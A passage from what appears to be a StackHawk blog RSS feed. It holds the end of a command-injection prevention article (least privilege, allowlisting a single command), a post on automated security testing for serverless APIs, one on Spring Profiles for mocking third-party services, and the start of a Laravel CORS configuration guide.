injection useless. The part of the command to ping to 8.8.8.8 is not executed.&lt;/p&gt;&lt;p&gt;You can strip characters when you just want to remove the characters. You can use escaping if you want to further log and analyze inputs. When you log inputs with Unicode data, you can convert the Unicode characters back to string to see the actual input.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Principle of Least Privilege&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Principle_of_least_privilege&quot;&gt;principle of least privilege&lt;/a&gt; says that you should give an entity the least amount of privilege necessary—just enough to do what’s needed. For example, if the application or user needs access to just one folder, then give access to only that folder. Giving more permissions or superuser privileges is not at all smart. Implement this principle everywhere.&lt;/p&gt;&lt;p&gt;You could also create a separate user for the application and give only required permissions to that user. This might not be feasible everywhere—it depends on the use-case—but you should consider it.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Allowlist and Denylist&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;If you know what commands must be used, or what commands must not be used, you could allow or block them. If your application needs to execute only one command, then you could use a logic that checks if the command being sent to the command line for execution is that one command you intend to execute. Let’s say you only need to execute the command &lt;i&gt;&lt;b&gt;ls /home/Documents&lt;/b&gt;&lt;/i&gt;_. Y_ou don’t need to execute any other command. Then you can use a logic similar to the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;if (command == &amp;quot;ls /home/Documents&amp;quot;) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;Process process = Runtime.getRuntime().exec(command);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Allow-listing and deny-listing are very useful because they make most of the crafted injections useless. But to implement these, you need to have a complete idea of all the scenarios. If you don’t, it could affect the application’s functioning.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Manual security testing has its perks, but automated security testing makes things really easy.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Security Testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Nobody is completely secure. Even after spending a lot of time and effort, we can’t be 100% secure. And to know where you could get better, you need security testing. &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-with-hawkscan-github-action/&quot;&gt;Security testing&lt;/a&gt; is a continuous process in application security. You can find new vulnerabilities, new attacks, and new tools almost every day. And you need to keep up with malicious actors.&lt;/p&gt;&lt;p&gt;Manual security testing has its perks, but automated security testing makes things really easy. If you’re looking for such a product, try &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt;. StackHawk offers automated application security testing on every pull request. It continuously finds API and application vulnerabilities and makes security analysis easy. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Omkar Hiremath.&lt;/i&gt; &lt;a href=&quot;https://www.linkedin.com/in/omkar-hiremath-6a1729159/?originalSubdomain=in&quot;&gt;&lt;i&gt;Omkar&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a cybersecurity analyst who is enthusiastic about cybersecurity, ethical hacking, data science, and Python. He’s a part time bug bounty hunter and is keenly interested in vulnerability and malware analysis.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Serverless Security with Automated API Security Testing]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/serverless-security-api-testing</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Ron Perris]]></dc:creator><content:encoded>&lt;p&gt;The rise of the Serverless Application Architecture allows organizations to focus on building valuable features while offloading the work of provisioning and scaling hardware to their cloud computing providers. &lt;/p&gt;&lt;p&gt;Serverless applications often use technologies like &lt;a href=&quot;https://aws.amazon.com/lambda/&quot;&gt;AWS Lambda&lt;/a&gt; for compute and &lt;a href=&quot;https://aws.amazon.com/api-gateway/&quot;&gt;Amazon API Gateway&lt;/a&gt; for accessing that compute functionality. As you are building these serverless applications, you can and should automatically test for security issues during development. Catching security issues early makes it much easier and cheaper to fix them.&lt;/p&gt;&lt;p&gt;As you add more functionality to an application, the attack surface increases. Just like with other automated tests, it is important to keep your test coverage high. Every API path and corresponding compute function could potentially expose a security related mistake. Modern security testing tools can be used to assess the application for security related bugs during development and before production traffic is sent to new features and functionality.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Common API Security Tests&lt;/h3&gt;&lt;p&gt;There are a few common types of security tests you can run on your serverless applications:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Dynamic Application Security Testing (DAST):&lt;/b&gt; with DAST you are testing all or part of the running application, like a functional integration test would. The DAST scanner will send various predefined inputs to your application and look for evidence of a security vulnerability in the response.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Static Application Security Test (SAST):&lt;/b&gt; this test will look at your source code and find vulnerabilities related to insecure coding patterns and mistakes.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Software Composition Analysis (SCA):&lt;/b&gt; this type of test will look at your project manifest files and detect the use of any dependencies with known security vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It’s a good idea to add a tool that implements each of these test types in your application codebase, ideally in an automated fashion that runs during development and before you release code.&lt;/p&gt;&lt;h4&gt;Dynamic Application Security Testing&lt;/h4&gt;&lt;p&gt;This type of testing finds bugs that attackers are most likely to exploit. The tools in this category basically send exploit payloads at a running application and measure the response to determine if the exploit was successful or not. Historically, these types of tests were run on production servers, but for obvious reasons it is better to do these exploits in development or CI/CD where they won’t do any harm to your applications. &lt;/p&gt;&lt;p&gt;You can set up automated dynamic application security tests using a GitHub Action and the OWASP ZAP tool, or with a product like &lt;a href=&quot;https://stackhawk.com&quot;&gt;StackHawk&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;Static Application Security Testing&lt;/h4&gt;&lt;p&gt;The most lightweight and popular SAST tools are language specific linters and simple pattern matching scripts that leverage regular expressions. &lt;/p&gt;&lt;p&gt;For linters, many JavaScript projects use the &lt;a href=&quot;https://eslint.org/&quot;&gt;ESLint&lt;/a&gt; project and its ecosystem of plugins to automatically test for &lt;a href=&quot;https://github.com/nodesecurity/eslint-plugin-security&quot;&gt;security best practices&lt;/a&gt; and common mistakes. Some teams write simple regular expressions and scan the code using grep during development and before release. &lt;/p&gt;&lt;p&gt;There are some open source tools that take the idea of linters and pattern matching to the next level. For example, &lt;a href=&quot;https://semgrep.dev/&quot;&gt;Semgrep&lt;/a&gt; is a fast static analysis tool that enforces coding standards and detects common security bugs.&lt;/p&gt;&lt;p&gt;Scanning your Lambda functions with tools like ESLint, grep, or Semgrep will allow you to detect all types of security vulnerabilities, such as: &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;Cross-Site Scripting&lt;/a&gt;, &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;SQL Injection&lt;/a&gt;, Server-side Request Forgery, and many other common security bugs.&lt;/p&gt;&lt;p&gt;You can automate these types of tests by adding a &lt;a href=&quot;https://github.com/marketplace/actions/semgrep-action&quot;&gt;GitHub Action&lt;/a&gt; that runs on each pull request.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Software Composition Analysis&lt;/h4&gt;&lt;p&gt;If you are using third-party libraries in your application (…you probably are), then you should run a software composition analysis tool to make sure that you’re not bringing in any security bugs via your dependencies. The JavaScript ecosystem has &lt;a href=&quot;https://docs.npmjs.com/cli/v7/commands/npm-audit&quot;&gt;&lt;code&gt;npm audit&lt;/code&gt;&lt;/a&gt; which is open source and uses a database of known vulnerabilities to check for issues in the libraries you are using in your code base.  &lt;/p&gt;&lt;p&gt;You can scan the dependencies of your serverless application by running individual tools like &lt;code&gt;npm audit&lt;/code&gt;, &lt;a href=&quot;https://owasp.org/www-project-dependency-check/&quot;&gt;OWASP Dependency-Check&lt;/a&gt;, or &lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt;.  &lt;/p&gt;&lt;p&gt;It is easy to automate software composition analysis tests with &lt;a href=&quot;https://github.com/marketplace/actions/npm-audit-action&quot;&gt;GitHub Actions&lt;/a&gt;. You can run this type of test on interval, pull request, or every branch push.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Automating API Security Testing for Serverless&lt;/h4&gt;&lt;p&gt;One of the challenges when running scans against any API is tuning the scan to increase coverage. A major advantage of serverless applications that use Amazon’s API Gateway is that it is possible to export the entire API path &lt;a href=&quot;https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-export.html&quot;&gt;documentation as an OpenAPI specification&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You can use the OpenAPI specification file to configure dynamic applications security scanners, such as &lt;a href=&quot;https://www.zaproxy.org/docs/desktop/addons/openapi-support/automation/&quot;&gt;OWASP ZAP&lt;/a&gt; or a more developer focused tool like &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html&quot;&gt;StackHawk&lt;/a&gt;. In StackHawk, for example, you can simply add the OpenAPI spec to the configuration file. Then, when the scanner starts, it will automatically test the API endpoints on your serverless application.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;→ If you’re interested in reading more, check out the &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html&quot;&gt;StackHawk Docs&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The results generated by scanners like StackHawk’s can be used to break builds or alert developers to issues that should be fixed before a release is made. If a finding is found, it is simple to reproduce with a cURL command generator, equipping anyone on the development team to debug and fix the vulnerability.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Wrap Up&lt;/h3&gt;&lt;p&gt;After you configure these automatic security tests to run alongside the rest of your code’s tests, you will have a new level of assurance about the security of the code you are shipping to production. In the future, and as new developers join the team, the best practices for secure coding will be built into the applications tests. Any regressions will be caught quickly and automatically.  &lt;/p&gt;&lt;p&gt;Getting started with serverless security testing is easy, with many open source projects and free tools available. We’re biased, but we think the best place to start is a free account with StackHawk. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up today&lt;/a&gt; or reach out to us at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackha&lt;/a&gt;&lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;w&lt;/a&gt;&lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;k.com&lt;/a&gt; if you have any questions.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using Spring Profiles to Statefully Mock Out Third Party Services in Docker]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-profiles-third-party-services-docker</guid><category><![CDATA[Tech Learnings]]></category><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;h3&gt;Docker, Compose, and Helm&lt;/h3&gt;&lt;p&gt;To help make our lives easier, we build Docker images of our services so we can use them in a number of ways: as dependencies when developing other services, in our CI/DI pipeline for automated integration testing, and then in actual test and production environments.&lt;/p&gt;&lt;p&gt;In general, we currently have two ways of running our services as Docker images:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;In docker-compose as a dev, test, and CI/CD dependency&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In helm in a Kubernetes pod as live services in test and production environments&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Talking To or Mocking Out Third Parties&lt;/h3&gt;&lt;p&gt;When interacting with third-party services, we often have intricacies to handle.  We’ll have environment requirements around whether or not our service should actually call out and, if not, whether or not we need it to be stateful. For example, when developing locally against the service when it’s running in docker-compose, we generally do not want it reaching out to any third parties ever. But we might need a way to emulate the actual service so it can return useful enough data for whatever’s needed to develop the feature.&lt;/p&gt;&lt;h3&gt;ScannerService &amp;amp; Widget&lt;/h3&gt;&lt;p&gt;We’ll walk through a couple solutions as examples.  For these examples, we’re going to have a &lt;code&gt;ScannerService&lt;/code&gt; that has to integrate with a service called Widget using an API Key.&lt;/p&gt;&lt;h3&gt;Special Values w/ Env Vars&lt;/h3&gt;&lt;p&gt;Generally, for third party API Keys, we define an environment variable for Spring to read in via Spring’s application properties – in this case we’ll call it &lt;code&gt;WIDGET_API_KEY&lt;/code&gt;. We would then set this on a per-environment basis, and we can overload it with a special “short circuit” value that can be used in code.&lt;/p&gt;&lt;p&gt;In the main &lt;code&gt;application.yml&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;For docker-compose, which is mainly our dev/test/ci runtime, we don’t have to do anything because the ‘fake’ default value will be used and those will never call out.&lt;/p&gt;&lt;p&gt;But for running via helm in Kubernetes, we have a config yml per environment and would just simply override with the pointer to that env’s key in our secrets manager:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;NOTE&lt;/b&gt;:  We don’t actually put api keys in yml files because it’s bad practice.  In reality, we use a runtime secrets manager that can do a key lookup against a secure vault, but that’s outside the scope of this article.&lt;/p&gt;&lt;p&gt;Finally in our code, we can do something like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Explicit Flag w/Spring Profiles&lt;/h3&gt;&lt;p&gt;Similarly to a special value, we can use an explicit flag in &lt;code&gt;application.yml&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this case, we used Spring profiles to set this value.  That way, the value is defined once but shared across anything that uses that profile.  That way we don’t have to remember all the places we’ve set that value, we can group these kinds of values in the profile, and it can be shared by whatever use the profile.&lt;/p&gt;&lt;p&gt;If we had a profile called ‘ci’, then we’d do something like this in &lt;code&gt;application-ci.yml&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If we need that profile to run in docker-compose, we set it in the &lt;code&gt;ScannerService&lt;/code&gt; config like so:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;For helm, since the default is true, it will make the third party calls.  But if we needed a specific profile, it’d look like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Our code then becomes a little clearer in that we have a single, well-defined and understood flag rather than overloading something else with the magic value:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Problem Solved?&lt;/h3&gt;&lt;p&gt;Using special overloaded values or explicit flags solves the problem, but adds complexity to the code, which makes it more difficult in general to add functionality and also to track down runtime issues.  Another downside we ran into was when someone added more calls against Widget, they didn’t know that they needed to take the special value/explicit flag into consideration.  In the examples above it’s trivial to see what’s going on, but in a bigger class with more going on, it wasn’t clear.  In that case, the overall system behavior became difficult to understand because that service was making some calls to the third party but not all. &lt;/p&gt;&lt;h3&gt;Stateful Testing&lt;/h3&gt;&lt;p&gt;Up until recently, our third party integrations just needed to be ‘off’ or ‘on’ for a given environment and the above approaches worked.  Then we had to add some new functionality that required a service to be stateful but not actually hit the third party when running in certain test and dev modes.  In order to completely develop, test, and deliver the solution across our platform, the service needed to persist and return data but not actually reach out to the third party service in some environments.&lt;/p&gt;&lt;p&gt;The third party in question here had a Dockerized mock service that seemed at first to solve our issue.  But unfortunately, that mock service wasn’t stateful and a lot of things weren’t mutable – it was unable to set certain states because the real service didn’t allow it…but we needed to dev and test with those statuses.&lt;/p&gt;&lt;h3&gt;Profile Based Mock Implementation&lt;/h3&gt;&lt;p&gt;Luckily, we already had the pieces needed to provide a solution in that we were using Spring Profiles in both our docker-compose and helm strategies.  The strategy was to use Spring profiles to provide either the real client or a statefully mocked one.  This gave us two benefits:  it completely separates out the two codepaths between ‘live’ and ‘mock’ mode, and also gives ‘mock’ mode the ability to keep state where needed.&lt;/p&gt;&lt;p&gt;Here’s what that might look like in an interface and two implementing classes that use the Spring &lt;code&gt;@Profile&lt;/code&gt; annotation to specify which one will be used:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;WidgetClientImpl&lt;/code&gt; is blissfully unaware of any sort of mock/test codepaths and just assumes it’s doing the real thing.  The &lt;code&gt;WidgetClientMock&lt;/code&gt; then doesn’t know anything about what’s supposed to happen and just focuses on local, mocked data.  Both are easier to understand and much easier to test.&lt;/p&gt;&lt;p&gt;If something isn’t configured correctly and the wrong environment gets the wrong &lt;code&gt;WidgetClient&lt;/code&gt; implementation, it becomes quickly apparent that something’s wrong.  For example, since the profiles that do mocking don’t have a real key, if they get the &lt;code&gt;WidgetClientImpl&lt;/code&gt; and start making calls against Widget, it will fail early and loudly.  If the opposite happens and an env gets the mock implementation, it’s obvious that nothing is actually calling out to Widget.&lt;/p&gt;&lt;h3&gt;Summary&lt;/h3&gt;&lt;p&gt;Having to work with third-party services is commonly requested functionality these days, and having multiple options is key. Using a single overloaded value or an explicit flag with conditional checks keeps your logic contained in a single service, but makes that service more complicated.  Letting the runtime pick an implementation based on a runtime value like a Spring Profile lets you split the test code from an actual implementation, allows a mock implementation to have a test state, but adds more configuration to your application.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-cors</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Have you ever put JavaScript code on a website that was supposed to fetch data from a remote server, only to realize that it didn’t work? Then you probably looked at your browser’s developer tools and noticed an error message referring to CORS or the same-origin policy. This article is for you if the remote server is under your control and its server-side code is a Laravel application. To fix your issues, we’ll walk through the process of setting up CORS in Laravel through a sequence of questions. &lt;/p&gt;&lt;p&gt;By going through the process step by step, you’ll learn what CORS is, whether you need it at all, whether you should configure it in Laravel, how to do that, and which configuration options are relevant. By the end, you’ll have learned how to expose your application for cross-origin requests securely. &lt;/p&gt;&lt;p&gt;Let’s get started! &lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Is CORS?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;CORS is a security feature to prevent unauthorized access. It stands for &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-origin_resource_sharing&quot;&gt;Cross-Origin Resource Sharing&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;In a browser context, the term “origin” refers to the protocol and hostname parts of a URL. For example, if your full URL is https://example.com/directory/page.html, the origin would be &lt;a href=&quot;https://example.com&quot;&gt;https://example.com&lt;/a&gt;. Therefore, the origin groups a set of URLs under the control of the same individual or organization that can safely share things like cookies under the same-origin policy. The same policy restricts websites from making HTTP requests to third-party resources. &lt;/p&gt;&lt;p&gt;CORS is a mechanism based on HTTP headers that specify exceptions to the same-origin policy and allow cross-origin requests under specific circumstances. A cross-origin request is a website at one origin, such as &lt;i&gt;https://example.com&lt;/i&gt;, accessing a resource on a different origin, such as &lt;i&gt;https://example.net. &lt;/i&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Do You Need CORS?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Because it’s a security feature, your default strategy should be to enable CORS only when you’re sure that you need it, and only where you need it. &lt;/p&gt;&lt;p&gt;First of all, not every cross-origin request requires CORS. Embedding an image, media file, IFrame, CSS stylesheet, or JavaScript library from another domain isn’t subject to the same-origin policy. Only direct requests from scripts, such as API calls through the &lt;b&gt;fetch()&lt;/b&gt; or &lt;b&gt;XMLHttpRequest&lt;/b&gt; interfaces (and their abstractions), web fonts, and some canvas and WebGL features use CORS. You need to enable it in your Laravel project when you’re at the receiving end of relevant cross-origin requests. &lt;/p&gt;&lt;p&gt;We’ll look at two scenarios where you need CORS: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Your Laravel website exposes &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-protection-from-vulnerabilities-with-design-and-testing/&quot;&gt;a clearly defined (RESTful) API&lt;/a&gt; for others. You also expect your application programming interface consumers to make API calls directly on their websites through the user’s browser (instead of their servers).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Your Laravel project exposes APIs or other endpoints only for internal use, but your website spans multiple domains or subdomains. A particular case of this is when you want to access the production back end while developing the front end on localhost or a staging server.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In both cases, you should expose the minimum number of endpoints to foreign origins. If you don’t want others to use your APIs, make sure that they can’t. Imagine you have two HTTP endpoints—one for internal and one for external use. According to &lt;a href=&quot;https://www.hyrumslaw.com/&quot;&gt;Hyrum’s Law&lt;/a&gt;, even if you only document the external endpoint, someone will eventually find about the internal endpoint and start using it. &lt;/p&gt;&lt;p&gt;If your website has neither of these use cases, then it’s likely you don’t need CORS. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Where Should You Configure CORS?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Configuring CORS in your Laravel project is just one option. Here are some others: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;You could also configure CORS somewhere in the web server or on a reverse proxy, &lt;a href=&quot;https://en.wikipedia.org/wiki/Content_delivery_network&quot;&gt;CDN&lt;/a&gt;, or whatever is in between your Laravel code and the user.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If you’re on Apache, you can create a &lt;b&gt;.htaccess&lt;/b&gt; file.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If you use &lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt;, you can deploy a Worker that handles CORS.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Sometimes these options are better—for example, when you host a static web font on your server and need to add the CORS headers to it. That file might go straight through your web server and not through Laravel and PHP anyway. &lt;/p&gt;&lt;p&gt;In every other case, however, I’d always recommend doing the CORS configuration in Laravel. The advantage is that you keep it close to the development and ensure you can configure the minimal surface area according to your application’s needs. &lt;/p&gt;&lt;p&gt;The most unfortunate thing would be if multiple layers of your stack tried to handle CORS independently. Such a setup could lead to duplicate headers and eventually unexpected and undocumented behavior. &lt;/p&gt;&lt;p&gt;Once you’ve decided to let Laravel take your cross-origin operations, make sure to communicate that with your system admin or DevOps person, and not let anyone try changing it at the web server or CDN layer. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Which Version of Laravel Do You Use?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The standard way to add CORS support in Laravel used to be &lt;a href=&quot;https://packagist.org/packages/fruitcake/laravel-cors&quot;&gt;a third-party package from Dutch developer Barry vd. Heuvel&lt;/a&gt;. But starting with version 7, CORS became a first-class citizen in Laravel. The same library became part of the main distribution, so it works the same way. &lt;/p&gt;&lt;p&gt;Hence, if you are on Laravel 7 or a newer version, CORS support is already enabled. In some cases, you don’t even need to change the default configuration. I’d still recommend going through all the options and making appropriate adjustments by editing the configuration file. If you like, you can skip forward to the next section, where I’ll explain how to find and edit this file. &lt;/p&gt;&lt;p&gt;What if you’re on Laravel 6 or older and upgrading the framework is not an option? In that case, you need to install and configure the library separately before the configuration file becomes available. To do so, open a terminal or command prompt, navigate to your project directory, and run the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;composer require fruitcake/laravel-cors&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, make sure that the CORS class is part of your global &lt;a href=&quot;https://en.wikipedia.org/wiki/Middleware&quot;&gt;middleware&lt;/a&gt; stack. Again, adding the middleware is only necessary for the older versions of Laravel in which you installed the library yourself. &lt;/p&gt;&lt;p&gt;Open the file &lt;b&gt;app/Http/Kernel.php&lt;/b&gt; in your IDE or code editor. The file will have a different configuration for each project, of course, but it will generally look like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;What you need to pay attention to is the &lt;b&gt;$middleware&lt;/b&gt; array. Add the following line to the array, ideally on top as the first middleware in the stack: &lt;/p&gt;&lt;p&gt;&lt;code&gt;\Fruitcake\Cors\HandleCors::class&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The file should look like this afterward: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;A middleware intercepts every request. During execution, it inspects its request headers, handles preflight requests itself, and adds the necessary response headers that the browser expects. In other words, it handles everything you need to grant third-party access. The advantage of the middleware is that you can configure CORS at a single place in your code. Hence, you don’t have to worry about it in every route. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Which of Your Routes Need Third-Party Origin Access?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Go to the &lt;b&gt;config&lt;/b&gt; directory in your Laravel project and open the file &lt;b&gt;cors.php&lt;/b&gt;. It contains all the necessary configuration options, which we’ll discuss throughout this article. The following example shows the file as it looks in a fresh Laravel 8 install: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The most important option is &lt;b&gt;paths&lt;/b&gt;, which defines all the routes that need cross-origin access. As of Laravel 8, the default paths entries are &lt;b&gt;[‘api/*’, ‘sanctum/csrf-cookie’]&lt;/b&gt;. With this, all API routes, but none of the web routes, are accessible with CORS. There’s also support for Laravel Sanctum, which handles &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-site_request_forgery&quot;&gt;CSRF&lt;/a&gt; for SPAs (single-page applications). You can remove it if you don’t need it. &lt;/p&gt;&lt;p&gt;By the way, just like CORS, CSRF is a cross-origin security issue that you should always keep in mind. You can learn more about these issues &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;in StackHawk’s article on Dynamic Application Security Testing (DAST)&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;If you want to be on the safe side, you can be even stricter and replace &lt;b&gt;api/*&lt;/b&gt; with all the API routes for which you expect cross-origin traffic. That could be a smaller subset of your API. &lt;/p&gt;&lt;p&gt;Closely related to this is the &lt;b&gt;allowed_methods&lt;/b&gt; option, which defines the allowed HTTP verbs (such as GET and POST) and defaults to &lt;b&gt;[‘*’]&lt;/b&gt;, so all verbs are permitted. I recommend keeping it that way, as the HTTP method choice isn’t the best way to define your exposed cross-origin API’s surface area anyway. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Which Origins Need Access to Your API?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Using CORS, you can define the origin hostnames that you permit to access your endpoints. Generally, there are two approaches. One is to allow just about any origin by using the asterisk (&lt;b&gt;*&lt;/b&gt;) as a wildcard. The other is to list the hostnames explicitly. &lt;/p&gt;&lt;p&gt;The choice brings us back to the two scenarios we mentioned above: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Suppose you use your API endpoints internally on a website spread over multiple domains and subdomains or from a development environment. In that case, you can list them all in the &lt;b&gt;allowed_origins &lt;/b&gt;configuration option explicitly. In that way, you make sure nobody else can access them. CORS doesn’t support wildcard subdomains (such as &lt;b&gt;*.example.org&lt;/b&gt;) natively, but the Laravel CORS middleware does. Therefore, you can use wildcards to enable all subdomains on your main domain, for example. If you need more advanced templating, you can use &lt;b&gt;allowed_origins_patterns &lt;/b&gt;and write a &lt;a href=&quot;https://en.wikipedia.org/wiki/Regular_expression&quot;&gt;regular expression&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If you have a public API endpoint, you can use the general wildcard (&lt;b&gt;*&lt;/b&gt;) in the &lt;b&gt;allowed_origins &lt;/b&gt;configuration option. Thus, you allow anyone to make CORS requests for that endpoint.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Here’s an example of a custom CORS configuration file: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the example above, the developer decided to grant access to two specific API endpoints to two different origins. One of each is a wildcard. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Pro tip:&lt;/b&gt; As an API provider, you may want to hand out API keys to your consumers. You could tie every API key to the specific origin that the consumer provides. Sadly, this is not in the standard CORS middleware’s scope, so you’d have to set your &lt;b&gt;allowed_origins&lt;/b&gt; to &lt;b&gt;*&lt;/b&gt; and check the &lt;b&gt;Origin&lt;/b&gt; header in another place. That place could be your controller code or a custom middleware. Due to the complexity of this option, we can’t go deeper into it in this article. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Which Other Configuration Options Are Relevant?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;There are four more configuration options: 